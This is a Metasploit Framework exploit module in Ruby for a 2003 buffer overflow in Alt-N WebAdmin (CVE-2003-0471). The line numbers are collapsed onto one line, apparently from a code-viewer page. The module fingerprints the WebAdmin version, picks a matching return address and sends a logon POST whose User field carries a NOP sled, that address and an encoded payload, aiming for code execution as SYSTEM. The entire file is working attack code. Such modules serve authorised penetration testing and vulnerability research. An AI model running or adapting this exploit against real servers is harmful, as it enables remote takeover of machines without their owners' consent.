1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
## # $Id: altn_webadmin.rb 8498 2010-02-15 00:48:03Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Alt-N WebAdmin USER Buffer Overflow', 'Description'=> %q{ Alt-N WebAdmin is prone to a buffer overflow condition. This is due to insufficient bounds checking on the USER parameter. Successful exploitation could result in code execution with SYSTEM level privileges. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 8498 $', 'References' => [ [ 'CVE', '2003-0471' ], [ 'OSVDB', '2207' ], [ 'BID', '8024'], [ 'NSS', '11771'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 830, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ ['Automatic', {}], ['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll ['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll ['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll ['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jun 24 2003')) register_options([Opt::RPORT(1000)], self.class) end def exploit mytarget = target if (target.name =~ /Automatic/) res = send_request_raw({ 'uri' => '/WebAdmin.DLL' }, -1) if (res and res.body =~ /WebAdmin.*v(2\..*)$/) case $1 when /2\.0\.4/ mytarget = targets[1] when /2\.0\.3/ mytarget = targets[2] when /2\.0\.2/ mytarget = targets[3] when /2\.0\.1/ mytarget = targets[4] else print_error("No target found for v#{$1}") return end else print_error("No target found") end end user_cook = rand_text_alphanumeric(2) post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In' print_status("Sending request...") res = send_request_cgi({ 'uri'=> '/WebAdmin.DLL', 'query'=> 'View=Logon', 'method' => 'POST', 'content-type' => 'application/x-www-form-urlencoded', 'cookie' => "User=#{user_cook}; Lang=en; Theme=standard", 'data' => post_data, 'headers'=> { 'Accept'=> 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png', 'Accept-Language' => 'en', 'Accept-Charset'=> 'iso-8859-1,*,utf-8' } }, 5) handler end end |